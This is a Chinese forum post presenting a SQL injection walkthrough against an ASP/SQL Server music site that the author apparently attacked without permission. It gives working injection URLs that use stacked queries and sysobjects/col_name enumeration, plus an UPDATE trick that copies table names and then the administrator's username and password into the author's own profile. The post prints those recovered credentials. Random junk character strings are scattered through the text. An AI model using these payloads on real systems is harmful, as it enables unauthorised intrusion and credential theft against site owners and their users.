标题: SQL Injection For SQL-Server渗透实例技巧 [打印本页] 作者: admin 时间: 2012-11-13 13:32 标题: SQL Injection For SQL-Server渗透实例技巧 SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL语句。2 c2 P/ a6 n( E1 g
+ C$ l# M+ a a' P# U1 k那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应该会有所启发。: Y, |9 w7 A4 D+ q3 x- h7 ^
Z) N7 u5 w; N& t8 q2 I* A 一、发现漏洞,常规注入 ' \& L; {7 J) H' A4 k7 k6 [! ~) f* G- I, V
最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:$ {- v+ M5 N! D4 P
, E R/ Z9 j! v6 g/ S( Q0 f6 `$ R
9 n1 Z p/ |/ E3 H
3 D: q# _" h A* f, U% a
Microsoft OLE DB Provider for SQL Server 错误 80040e14 $ w. h0 b$ E" c/ J( U& |2 n字符串 之前有未闭合的引号。 1 B0 X+ y( Z: y2 c7 G7 J7 p/showspecial.asp,行13 " ^% z( S# G4 |: `$ c ( l3 N# Y$ n6 p! D( |8 _ Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤: ' M! V- Y0 f/ c7 Z6 U8 |1 s! t5 k; S) a7 k8 M0 y0 v
1、提交http:/showspecial.asp?Specialid=1817;use master;–1 X; r% l+ m( |8 |. a
! }' Z( M% }) M0 A
注:–的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..$ {, J! h: o$ `' }' B
0 I- D) K' W4 j$ I7 `- s9 i
出现 * i: Y$ R1 j" u& O4 j: f/ S # m. ]4 U8 P) Z; ?1 n; J" |& [ 9 P/ z, k/ c0 U. z O
: x' z. X r: v9 _( p
Microsoft OLE DB Provider for SQL Server 错误 80040e21 ( m$ _. u1 f1 V& T" s多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。" y3 n$ J: S0 Y4 a! o8 S
/showspecial.asp,行13 3 r8 z% _2 @: m% [0 _
( e: S4 ^% X& M3 }* ~; P6 z
想在他的数据库里增加一个管理员是不可能了,我们再换一种方法/ g5 @; P9 g" U) K$ D7 o
- ~' T. T. }3 V/ x+ a 2、提交http:/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user]) * I9 v- N7 E4 a6 j) R k1 m- H7 {# b3 W7 V$ V4 t; d
这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段! ^) c: s7 V. f7 b' t. `" h7 q
9 i4 L% A. m+ w. D6 ~ 一般来说: & ]+ A* A( \; i* D; O; e. E3 l 8 y' X; b0 \) _; o 如果不存在该表的话,会出现 ( i" [1 C7 x7 Y! ^. E/ [! i5 M, h4 W5 Z" h" l4 E( ~$ N
, R4 [6 ^; T1 h) e0 S% q" _* w
7 ^! ]: [5 E- H7 Q' R0 e
Microsoft OLE DB Provider for SQL Server 错误 80040e37 r8 T4 ?5 ]$ D: Z+ t对象名 user 无效。4 W9 r+ S7 t) f$ [
/showspecial.asp,行13 . U; u( p+ d/ _+ r1 s$ p- K 不存在该字段的话,会出现+ h& o' R) e- P! z5 @9 c& Y
Microsoft OLE DB Provider for SQL Server 错误 80040e14 5 |+ B0 B! X% w7 V" {" M- V列名 id 无效。; v- i5 a, b: b% @
/showspecial.asp,行13 ) Y* l# G' {0 Y9 t6 B2 t
9 E+ n2 q' ^- I4 p+ h 3、通过提交http:/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user]). W# K+ p. N+ H0 L
0 p( N2 ]( @1 \% M) b 这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值1035345 f9 A" r% u9 A1 N! ?8 k$ J% H
; a+ {( S, x9 n% O1 v 4、继续猜下去,这里我还是利用的他程序中的表单名,提交:/ J7 ~6 z: [& M8 B5 K. Y& M- u
9 x4 x( V R- c7 Q
http:/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])% Z2 j3 U7 P1 l4 D' {7 T7 V
4 n' u- `5 d" F
也存在,好了,到这里,我们的平台已经搭建好了。$ W" _8 b0 D; N0 l' s9 r
2 K0 G: k6 f' L2 \9 k! f 二、深入研究,让SQL自己招数据库结构 ' _* ?; ?4 X' D+ L. K- C3 k# M# j# P# f w7 C
很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。 ! ?& {( J! d7 f/ a/ e& V" p& P; D, O, n
我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):: l- @. [( c/ [( S5 c, }
8 |! V6 D( P4 T3 ` ) _: ~" D+ V/ _1 {
& |9 c+ ]$ H' S7 K3 H( C
name 数据表的名字$ s, Z; _4 z9 V$ O; ?8 k# M
xtype 数据表的类型 u为用户表1 U, o) c9 \5 R; x' d
id 数据表的对象标志- |$ U& \; m: g# _3 U4 d- {) S/ ]) G ]
status 保留字段,用户表一般都是大于0的 ) T: c' u0 l( s' r
" v. e3 ~3 K4 _% X8 H/ _
在查询分析器执行以下SQL语句(以我本地的数据库为例子)6 m q4 t7 ^9 P- j& S
, X7 n$ r y8 q# l% c
% R7 C0 q% U6 w' c5 _. m8 U" Y: g
select top 1 name from sysobjects where xtype=u and status>0 5 [8 |5 x" I. h. r9 Q: ^- e5 [2 o$ q+ G9 u, N d q. w
我们马上就可以得到该数据库下用户表的第一个表名gallery ; u$ c* F( l4 |3 G6 X1 D j2 M8 c3 `/ f5 ?. l
( i4 J# y5 X1 s. M$ s5 ?( W. L # U7 o8 u% ]8 \select top 1 id from sysobjects where xtype=u and name=gallery - Y# c* ~$ \' n1 E
0 t8 ]7 h, z& G/ ?
我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048 / j$ d) ]& \$ \6 G' [8 B) i7 d/ C G' b2 E$ j( l" g! @ ~) R
) j. u* Q; z. N! A* N) Z0 ~- Q$ {
2 H+ L6 R; _2 }# |; _% iselect top 1 name from sysobjects where xtype=u and id>2099048 8 A% M7 [" g2 E' f) n" x% V
- H! N! b# w1 e 再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。 2 |# x0 i! b; b2 N! h+ U! u7 X; z5 W0 t
以此类推,我们可以得到所有的用户表的名字了1 D# m7 d3 f; R% ^ ?" a, c8 n
x% f/ r# Z6 `: Y8 t0 g接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和object_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子): 3 K0 k# N0 w6 _/ u$ M; ~ ) V& [4 b* z: e4 Z4 K# P & ]1 D# E* N7 ^ t
& J0 x! u; s; p
select top 1 col_name(object_id(gallery),1) from gallery ' h& J4 w; K/ H _* r2 Q3 o . S+ ]% Y$ l: W* r( u 得到gallery表的第一个字段名为id。 : u/ s8 a' d" j& t, a* Y/ l+ } ! M0 l: P" e# O 注: ; Z# c3 d# O8 ?* W7 R1 D# b % L, ^! S2 a4 @. f$ Z) j2 C2 t: ^6 n - i9 _* \0 [. U2 F& K9 p4 t7 N' e, E5 }$ G" y; X- L' Z
col_name()的语法: [) _; X. g1 O4 R
COL_NAME ( table_id , column_id ) * g3 ]! ^" N7 u. r& d& f
5 s. n; N, z! L2 U
参数 ! ~2 q8 [% f$ _% W' k 3 b( Q) u3 G; Q7 r 9 v0 o4 B6 M* G0 o: N" |% t9 W1 V" L9 I
table_id:包含数据库列的表的标识号。table_id 属于 int 类型。2 {8 _; \/ ]2 J Y6 N+ m
column_id:列的标识号。column_id 参数属于 int 类型。 . c2 V3 u# w' | h, N0 \# Z# }& a& y2 g- ]9 o( ] a
其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号 9 i$ ~2 Z+ Q/ g+ G . ~, @, r8 f% }& W+ l, E! s 以此类推得到该表所有的字段名称* _4 z- m- Z/ ]: o
2 x' Y, z8 [' D
三、再次渗透攻击9 Y4 c! J6 ^' F: K
. U, N6 q! ^, p2 r5 p; M7 E
经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了1 z7 I) J) {1 P# C7 s4 W
+ n3 c8 c& g. Q: g) C0 d 依然是那个页,我们提交 + D4 @. ^3 _ O / A7 o8 P/ |& D& r: E 0 i4 @- X; n1 R8 B% X" ^9 G4 P$ `. ?$ _
http:/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;-- 9 G( b- y' X) a! B: a
3 ~5 W) i3 d8 S3 e# _/ ]: H* {
服务器返回 9 z C9 o1 ]: X, E: }# W* M# [9 }/ d$ J/ k+ l3 l
6 y" t8 e; G5 }5 Z3 U2 R( m+ h. l# e& }% q2 I
ADODB.Recordset 错误 800a0cb3 / K; d: w1 o J) w: z当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。 ) v& p2 ~( y1 C5 Y2 @# A" J/showspecial.asp,行19 + s$ X0 R' \! h# q9 {$ Q1 u `! P% b# H8 R6 M/ W
出师不利,可能该页记录集打开方式是只读,我们再换一个页 9 T& c7 g& N' Z4 O$ V; S/ {, I; Q% e3 B4 c* |/ |# e
找到http:/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交/ x O% S) @3 D O J+ Q) B# L& q+ V
5 J' J- I, h5 H3 z* Y' ]http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;-- : n5 @* \* Y" ?& o$ y
3 E- Y2 n' Y- p) X 把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser . B8 J I# r6 g3 l5 I p. o0 X' A& }9 W$ U4 _* _
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;-- 0 O' @) l# x: x2 }' U. s8 u$ P9 |" b. M) p' K6 M
得到第一个表lmuser的id标识号为:363148339 1 d9 \9 w& i s, [8 V( G4 N9 r: @7 N& o, O8 e+ X* N2 I
1 m& A9 w& h9 U; p1 j2 H% _$ l* l
+ P3 W3 M: t3 W; D% }% y
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;-- ! F: O3 P: b: K. f) T% V: e, F+ H
- C% V# s P. h4 d+ [& Y- O; j4 Q: p
得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。 ! [/ r$ k; H+ T! u. r& [: c - A x% k) t, q& U$ X 好,接下来我们就取该表的字段名 % l/ M/ o. U. F' W% G, m' e- O/ c, c2 F; X) I% w/ D3 b+ b3 t
* {# O: g2 r+ m& }' {
O5 \4 W/ i% ]1 E
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;-- % C' I3 S0 O. O* y7 [ 5 H# x/ P+ v5 } m3 F! v 得到第1个字段为:id. h7 a1 I4 ?$ C* ?' `) A1 O
+ f' B6 O8 h: @6 m' Y" [0 v, K
( r+ h* d# B$ d5 i0 l
J3 g Y' v* z9 n9 A& I; d. h
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;-- 0 S$ r5 [5 k; I 8 X: o) U. A, c$ i8 G8 h2 w 得到第2个字段为:username 5 Y' G5 t x2 w7 _% Q8 u" `& Z& B' L% y$ ^
& r; ~% U" S1 g+ t( _5 I! g" C - ~, I2 O/ _. fhttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;-- 9 Y# S9 f+ `2 a! h7 @
) K$ F! i6 }/ I: B" _
得到第2个字段为:password 1 Y& Y: v" L0 s) A- Z6 g/ w1 g4 p$ D. l. F$ X2 B, x2 y
到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。2 |. }8 N8 x* M8 ^
3 E6 H+ A) a; J8 d. H
我们拿到的id值是44( s# g, B! ?" \ S( ? H @
" c- q+ L- d' d3 ^& a. C
* O3 M) k" t2 P! L& W% p
( K7 D8 \5 a" z* ~; X0 _0 bhttp:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;-- 1 p/ R) i# A* g9 z1 D- l
+ ~9 h5 g: m0 B 将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3 : A: k0 e, n5 Q3 P8 X2 t) b l1 B5 Z. W3 [. r+ @8 v( F : A, n Q G& x5 J/ R8 o' I) U; m1 t* L q5 y. W
http:/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;-- 0 M9 X; H6 _ T! r% \
, D. q4 H% h( M% ]% B3 M, Y- k& M A将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ' z, @- y1 n+ r+ i( w+ r; H
8 n# R! X% X% ^4 Z1 j! K& M( T7 i
怎么样,拿到密码了吧? 4 i2 g$ o8 o" j, }4 ^8 j 1 _* d" f2 k- i2 i3 z 四、总结 2 k, [& N- Y+ I: y% e/ \5 q: N% g; E$ y* s& N' |
在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。 4 t& ]( y. L) I+ u( d, Z" e最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!, e- Z4 c! v M1 c$ z* ]1 C
% }4 T8 H. q4 ~